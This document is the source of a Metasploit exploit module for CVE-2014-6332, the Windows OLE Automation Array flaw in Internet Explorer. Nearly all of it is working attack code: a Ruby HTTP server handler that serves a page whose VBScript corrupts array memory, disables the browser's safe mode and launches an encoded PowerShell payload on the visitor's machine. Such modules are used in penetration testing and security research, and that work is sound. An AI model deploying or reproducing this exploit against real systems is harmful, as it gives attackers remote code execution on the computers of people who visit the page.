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## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'msf/core/exploit/powershell' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::Powershell def initialize(info={}) super(update_info(info, 'Name' => "Windows OLE Automation Array Remote Code Execution", 'Description'=> %q{ This modules exploits the Windows OLE Automation Array Remote Code Execution Vulnerability. Internet MS-14-064, CVE-2014-6332. The vulnerability exists in Internet Explorer 3.0 until version 11 within Windows95 up to Windows 10. }, 'License'=> MSF_LICENSE, 'Author' => [ 'IBM', # Discovery 'yuange <twitter.com/yuange75>', # PoC 'Rik van Duijn <twitter.com/rikvduijn>', #Metasploit 'Wesley Neelen <security[at]forsec.nl>'#Metasploit ], 'References' => [ [ 'CVE', '2014-6332' ] ], 'Payload'=> { 'BadChars'=> "\x00", }, 'DefaultOptions'=> { 'EXITFUNC' => "none" }, 'Platform' => 'win', 'Targets'=> [ [ 'Automatic', {} ] ], 'Privileged' => false, 'DisclosureDate' => "November 12 2014", 'DefaultTarget'=> 0)) end def on_request_uri(cli, request) payl = cmd_psh_payload(payload.encoded,"x86",{ :remove_comspec => true }) payl.slice! "powershell.exe " html = <<-EOS <!doctype html> <html> <meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8" > <head> </head> <body> <SCRIPT LANGUAGE="VBScript"> function trigger() On Error Resume Next set shell=createobject("Shell.Application") shell.ShellExecute "powershell.exe", "#{payl}", "", "open", 1 end function </script> <SCRIPT LANGUAGE="VBScript"> dim aa() dim ab() dim a0 dim a1 dim a2 dim a3 dim win9x dim intVersion dim rnda dim funclass dim myarray Begin() function Begin() On Error Resume Next info=Navigator.UserAgent if(instr(info,"Win64")>0) then exit function end if if (instr(info,"MSIE")>0) then intVersion = CInt(Mid(info, InStr(info, "MSIE") + 5, 2)) else exit function end if win9x=0 BeginInit() If Create()=True Then myarray=chrw(01)&chrw(2176)&chrw(01)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00) myarray=myarray&chrw(00)&chrw(32767)&chrw(00)&chrw(0) if(intVersion<4) then document.write("<br> IE") document.write(intVersion) runshellcode() else setnotsafemode() end if end if end function function BeginInit() Randomize() redim aa(5) redim ab(5) a0=13+17*rnd(6) a3=7+3*rnd(5) end function function Create() On Error Resume Next dim i Create=False For i = 0 To 400 If Over()=True Then ' document.write(i) Create=True Exit For End If Next end function sub testaa() end sub function mydata() On Error Resume Next i=testaa i=null redimPreserve aa(a2) ab(0)=0 aa(a1)=i ab(0)=6.36598737437801E-314 aa(a1+2)=myarray ab(2)=1.74088534731324E-310 mydata=aa(a1) redimPreserve aa(a0) end function function setnotsafemode() On Error Resume Next i=mydata() i=readmemo(i+8) i=readmemo(i+16) j=readmemo(i+&h134) for k=0 to &h60 step 4 j=readmemo(i+&h120+k) if(j=14) then j=0 redimPreserve aa(a2) aa(a1+2)(i+&h11c+k)=ab(4) redimPreserve aa(a0) j=0 j=readmemo(i+&h120+k) Exit for end if next ab(2)=1.69759663316747E-313 trigger() end function function Over() On Error Resume Next dim type1,type2,type3 Over=False a0=a0+a3 a1=a0+2 a2=a0+&h8000000 redimPreserve aa(a0) redim ab(a0) redimPreserve aa(a2) type1=1 ab(0)=1.123456789012345678901234567890 aa(a0)=10 If(IsObject(aa(a1-1)) = False) Then if(intVersion<4) then mem=cint(a0+1)*16 j=vartype(aa(a1-1)) if((j=mem+4) or (j*8=mem+8)) then if(vartype(aa(a1-1))<>0)Then If(IsObject(aa(a1)) = False ) Then type1=VarType(aa(a1)) end if end if else redimPreserve aa(a0) exitfunction end if else if(vartype(aa(a1-1))<>0)Then If(IsObject(aa(a1)) = False ) Then type1=VarType(aa(a1)) end if end if end if end if If(type1=&h2f66) Then Over=True End If If(type1=&hB9AD) Then Over=True win9x=1 End If redimPreserve aa(a0) end function function ReadMemo(add) On Error Resume Next redimPreserve aa(a2) ab(0)=0 aa(a1)=add+4 ab(0)=1.69759663316747E-313 ReadMemo=lenb(aa(a1)) ab(0)=0 redimPreserve aa(a0) end function </script> </body> </html> EOS print_status("Sending html") send_response(cli, html, {'Content-Type'=>'text/html'}) end end |
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